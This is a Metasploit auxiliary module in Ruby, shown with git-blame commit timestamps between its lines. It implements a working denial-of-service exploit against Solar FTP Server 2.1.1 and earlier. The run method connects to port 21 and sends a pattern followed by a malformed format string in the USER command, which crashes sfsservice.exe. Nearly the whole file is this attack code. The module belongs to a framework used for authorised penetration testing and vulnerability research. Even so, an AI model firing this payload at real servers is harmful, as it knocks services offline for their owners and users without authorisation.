2011-10-17 02:58:53 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-10-17 02:58:53 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
2014-03-11 16:10:39 +00:00
|
|
|
'Name' => 'Solar FTP Server Malformed USER Denial of Service',
|
2013-08-30 21:28:54 +00:00
|
|
|
'Description' => %q{
|
2014-03-11 16:10:39 +00:00
|
|
|
This module will send a format string as USER to Solar FTP, causing a
|
|
|
|
READ violation in function "__output_1()" found in "sfsservice.exe"
|
|
|
|
while trying to calculate the length of the string. This vulnerability
|
|
|
|
affects versions 2.1.1 and earlier.
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2015-04-03 11:12:23 +00:00
|
|
|
'x000 <3d3n[at]hotmail.com.br>', # Initial disclosure/exploit
|
|
|
|
'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Metasploit submission
|
|
|
|
'sinn3r', # Metasploit edit/commit
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'EDB', '16204' ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Feb 22 2011'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(21)
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
connect
|
|
|
|
|
|
|
|
banner = sock.get_once(-1, 10) || ''
|
|
|
|
print_status("Banner: #{banner.strip}")
|
|
|
|
|
|
|
|
buf = Rex::Text.pattern_create(50)
|
|
|
|
buf << "%s%lf%n%c%l%c%n%n%n%nC%lf%u%lf%d%s%v%n"
|
|
|
|
print_status("Sending format string...")
|
|
|
|
sock.put("USER #{buf}\r\n")
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
end
|
2011-10-17 02:58:53 +00:00
|
|
|
end
|